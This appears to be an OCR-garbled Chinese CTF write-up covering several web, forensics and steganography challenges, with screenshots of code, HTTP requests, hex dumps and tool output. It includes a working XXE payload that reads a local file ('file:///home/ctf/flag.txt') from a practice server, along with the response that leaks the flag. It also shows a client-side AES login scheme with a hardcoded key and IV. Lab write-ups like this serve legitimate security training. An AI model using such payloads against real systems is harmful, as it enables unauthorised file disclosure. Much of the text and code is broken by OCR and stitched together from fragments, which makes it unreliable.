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<sggipt type="text/ javascript” >

function checkForm(){
var key = “0000000372619038";
var iv = "ilove3fdverymch”
var pazzword = 3 ¥pazzword”). wval();
pazzword = encryptipazzword, key, iv);
" Hpazzword”). val (pazzword) ;
F0¥loginForm™). submit () ;

}
function encrypt(data, key, iv) { //kev,iv: 16{AIFERFS
var keyl = Crypto]S.enc. Latinl. parse(key);

var ivl = Crypto]S. enc. Latinl. parse(iv)
return Crypto]S. 4ES. encrypt (data, kevl, {
iv : ivl,

made @ Crypto]S. mode. CBC,
padding : Crypto]s. pad. ZeroPadding
1) toString O ;

}

<fgeript

<=

error_reporting (0);
Jflag="fakeflaz"

Ju = 3_POST[ username’ 1;

$p = 3_POST[ pazzword' ];
ifliszet (Ju) &% isset($p)) i

1f(Fu==="admin’ &% Jp === a500acBE5a73384ee3210fafE4206eaaf2BR7238dA03efa81837030bdlcalbf0d’ ) {
echo $flag:
1
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[] Postdata [ | Referrer 4 OxHEX ™» &% %URL ™» &

flag{cd00240c-1bcf-4261-9¢c6d-f453592318f1}
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E325: ATTENTION
Found a swap file by the name ".index.php.swp”
owned b dated: Tue Sep 29
file n - .php
modif
user na root host name: kali
& ID: 1414
While opening file "index.php"
dated: Tue Sep 29

(1) Another program may be editing the same file. If this is
t to end up with two different instances
n making changes.
edit session for is f
this is the case e ": ( r " r index.php”
recover the c ( \

".index.php.swp”

root@kali: ~/Desktop
File Actions Edit View Help

-all

root root

root root

root root 4 0 : chal.pcap

root root Pl ind php

root root : 7 .ind php.swp

o
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XERENEGH 204, HREFEA Lown, S HATHRENTF, FIUREEESE T .
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Name

| | web.jarviscj.com

|| bootstrap-editable.css
|_| bootstrap-editable.css
|| bootstrap-editable.min.js
|| bootstrap-editable.min.js

L | try

6 requests | 473 B transferred

96.9 kB resources

fRAE, CREZbUpIMBEEE.

X Headers Preview Response Initiator Timing  Cookies

v Request Headers view source

Accept: */*

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en-US;q=08.8,en;q=0.7

Connection: keep-alive

Content-Length: 29

Content-Type: application/json

Cookie: UM_distinctid=174871d71282c4-0272F75c28304d-333769-144000-17487147129
321942420, PHPSESSID=1iiSuaip9ids8vutgmb2228neel

Host: web.jarvisoj.com:9882

Origin: http://web.jarvisoj.com:9882

Referer: http://web.jarvisoj.com:9882/

User-Agent: Mozilla/5.@ (Windows NT 18.8; Winb64; x64) ApplellebKit/537.36 (KHTH

v Request Payload view source

¥ {search: "1s", wvalue: "own"}
search: "1s”

value: "own"

POST fapifvl Oftry HTTR/ 1
Host: weh.jarviso]. com: 9882

User-Agent: Mozilla/s.0 (Windows NT 10.0; WOWES, nv:46.0) Gecko/20100101 Firefox/46.0
fAccept: text/html application/xhtml+xml applicationfxml;q=0.9 */*;q=0.8

 Accept-Language: zh-CH,zh;q=0.8 en-US;g=0.5 en;q=0.3

“Accept-Encoding: gzip, deflate

‘|DNT: 1

Content-Type: application/json
Referer: http:/fweb janisoj. com: 9882/

Content-Length: 36
Connection: close

{"search" "type sthl" "value":

own"}

\
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<?xml version="1.0"?>

<!DOCTYPE mOre[

<!ELEMENT m@re (message)>

<!ENTITY hacker SYSTEM "file:///home/ctf/flag.txt">

1>

user><username username passwor‘d more passwor‘d user

—

SOST fapifvl.Oftry HTTP/1.1

A HTTR/.0 200 OK
Host: web.janvisoj.com: 9852 1 Content-Type: text/html; charset=utf-8
Jser-Agent: Mozilla/S.0 (Windows MT 10.0; WOWES; nv:46.0) Gecko/20100101 Content-Length: 90
Sirefox/46.0 Server: Werkzeug/0.9.4 Python/2.7 .6
Accept: text/html,application/xhtmi+xml application/xml;g=0.9 " q=0.8 Date: Wed, 30 Sep 2020 12:23:07 GMT
Aeccept-Language: zh-CN zh;¢g=0.8 en-US;q=0.5 en;q=0.3
Secept-Encoding: gzip, deflate <user=<username>CTF{XxE_15_n0T_S7range_Enough}
INT: 1 <fusername><password>m0Ore</password></user>

Content-Type: application/xml
Referer: http:/iweb.javisoj. com: 9882/
Content-Length: 195

Connection: close

<?xml version="1.0"?>

<IDOCTYPE mire[

<IELEMENT mOre (message)>

<IENTITY hacker SYSTEM "file:/ithomelctiflag txt"=
|=

<user=<username>&hacker;</usemame><password>mOre</password=</user>

B WIEH, BERREINL,

# binwalk -e m@re.png
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BERAHMNE, BARFHLX( BAUEFEFUL)
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Extract Preview
895042470d0alala 00000004494584452 | PNG. L
0000020e0000012a 0802000000£20c4f  ...... F
d300000001735247 4200aecelcel0000 .....
000467414d410000 bl8f0bfcelO50000 .. gAMA..
0009704859730000 0ec300000ec301le7 ..pHYs..

6fa86400001cfa4d 444154785eeddded o.d....
adec36bZclfllbel 2c278al3825713c5 ..6.....
0860lececOfbbble c0093882bb3126%2 . ......
8b880cdec2flc2l8 c0808£f2456flb3al ........
a2dd4adif3eeT7ff43 2fe65054kL148bL159 ....>..

Bit Planes Order settings
AMpha [ |7 []6 []5 [ J4 []3 []2 []1 []oO Extract By ® Row ( Column
Red []7 []6 []5 [J4 [I3 2 1 [x]o Bit Order @ MSBFirst ¢ LSB First
Green [ |7 []6 []5 [ J4 []3 []2 []J1 []oO
Bit Plane Order
Bwe []7 []6 []5 [J4 [I3 2 1 [Jo @ RGB () GRB
) RBG BRG
Preview Setti
review Settings " G ) BGR
Include Hex Dump In Preview
| Preview || Save Text H Save Bin H Cancel ‘

AemEA, —KER, BERE IpngE /. BRI THE

Maybe you should try to separate
the files!

And | will give u zip-passwd:
|@#3$%67()-+

JE4E R HAE T 1@#s%67* () -+
SRR, BEREALN, 2.
) out.txt - idF+
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255
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255

5 2 2R B —[SWPU2019]Network
RIEMERAMA, S#THERSR, AN KEHBAR

with open('out.txt') as a_file
content = [x.strip for x in a_file.readlines
bins =
for i in content
bins.append(bin(int(1i 2 zfill(8 2
stringBins = ''.join(bins
num = 9
flag = '
for i in range(int(len(stringBins)/8
flag+=chr(int(stringBins[num:num+8], 2
num+=8

print(flag

B Trar K BHEN, EREREH ALK,
RS 2fffflag.zip, HEBEEIKR XM, FLlefffletr&EE — TRXMEHCRIMHERE. RIRword Y.

# file fffflag.zip

fffflag.zip: Microsoft Word 2087+
. ' |

BTFER BEXM.
o
o

]


https://blog.csdn.net/qq_45836474/article/details/107767955?ops_request_misc=%25257B%252522request%25255Fid%252522%25253A%252522160163888619725271711782%252522%25252C%252522scm%252522%25253A%25252220140713.130102334.pc%25255Fblog.%252522%25257D&request_id=160163888619725271711782&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_v2~rank_blog_default-1-107767955.pc_v2_rank_blog_default&utm_term=127%20255%2063%20191&spm=1018.2118.3001.4187#t12
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TEWMTAWMDAXMTAWMDAWMT EWMDAWMDAXMT AWMDE XMTAWMDAWMTEWMTEWMTEWMTAXMT EWMDAWMDAXMTEXxMDAWMDEXMTEXMTE X
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110110101113111161111011210101210112112111110110110101101111100121011111311131111
1101101000011000001100000011000111000001101101101011100000011110000111211711

SR JE ORI ) 73 A

11111111111111111111111111110111839%96111111111*ﬂﬂ§321
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Trash

tmp - File Manager




froot/Desktop/tmp/

File System
Warning, you are using the root account, you may b—.cm your system.

DEVICES E N
[ Fite System =

o VBox_GAs_..
B st_share o [moetzE

PLACES
i root

VBox_GAs, - Desktop

6.1.8 ' Trash
=) Documents
E [
= al Music
Pictures

attachment.t- )
ar Videos

BER/RE—NMRER, 7T Hwireshark i &E, FEFH T —T, FHFhttpiER. TREZRASHMpN R, FRFEZXH, ©F
BT hint.html FI—PNEHH.

TR HRE.
wauiarne AL RIS =1] 1N I)lp!: EAr S =3 LR LL=a R L=1 Rl L=
images.china.cn image/jpeg 226 kB c1da9375-cf54-4611-b43c-aad9695cclc
images.china.cn image/jpeg 62 kB 5e5c38b8-e25e-41de-8f30-fcB0bfe55aed
images.china.cn image/jpeg 5,554 bytes ac9el78530e116d9ff454f jpg
images.china.cn image/jpeg 23 kB 672a3c01-f53d-4efl-bf29-dc55eb3cea’?:
images.china.cn image/jpeg 14 kB ac9el78530e1167afdf056.jpg
images.china.cn image/gif 13 kB leftArr.gif
cl0.webterren.com image/gif 34 bytes link%3Furl%3D54EYUSYhASWHwWIFHSBTY
cl.webterren.com image/gif 34 bytes link%:3Furl%3D54EYUGYhASWHWIFHSBTy
images.china.cn image/png 1,152 kB cbbebf0d-4317-4f81-a157-4947d838ce5
tv.cctv.com text/html 2,762 bytes index.shtml
push.zhanzhang.baidu.com text/javascript 281 bytes  push.js
js.t.sinajs.cn application/x-javascript 4,312 bytes bundle.js?version=20150130.02
js.t.sinajs.cn application/x-javascript 15 kB client.js?version=20150130.02
js.t.sinajs.cn application/x-javascript 88 kB iframeWidget.js?version=20140327
timg.sjs.sinajs.cn image/gif 796 bytes  loadingl.gif
www.cctv.com applicationfjavascript 7,382 bytes a2.js
p5.img.cctvpic.com image/jpeg 7,292 bytes 35f51c0c428a4b19834084f8e29e0e22-]
rimg.cctvpic.com text/css 1,316 bytes style.css793534174d3ch01f2509dddbds
p4.img.cctvpic.com image/jpeg 7,193 bytes cf0219df983a4ac699c2b520bb0992f1-4
api.share.baidu.com image/gif 0 content_683139.htm
widget.weibo.com text/html 0b aj_relationship.php?fuid=17918051816&«¢
js.data.cctv.com applicationfjavascript 126 kB aplus_plugin_cctw.js,aplus_plugin_aplu
p.data.cctv.com image/gif 43 bytes gif?logtype=06&title=%E6%8E%ABYES
47.107.33.15:81 application/zip 5.015 bytes secret.zip
47.107.33.15:81 text/html 320 bytes  hint.html *"——'
47.107.33.15:81 text/html 287 bytes  favicon.ico

E48m%E T, FrblEhElwindowsH 3T,
T, B&hint, JLEZFhint,

= # more hint.html
OCTYPE html>
tml lang="en">

ce-width, user-scalable=no, initial-scale=1.9, ma
scale=1.0"

html>




AREEW, RHEHEEARMBBWEE, BEARMNME. TIFDNE BRI .

BFR K EHEEFN 2EE - {ERATE] CRC32
I_]..ﬂag.s.‘\,'-.l'[:n 16,384 2414 SWP 2% 2020/1/30 22:.... 8357E0DS8
| [flag* 8,241 2,329 % 2020/1/30 22:.... 1E267AT74

BT AT ARHAENT, HETFag.swp XXl AT . BiaekBlflag

actf{c5558bcf-26da-4f8b-b181-b61£f3850b%e5}
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attachment.tar

.flag.swp
9 hint.html
.index.php.swp

1
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wget.pcapng
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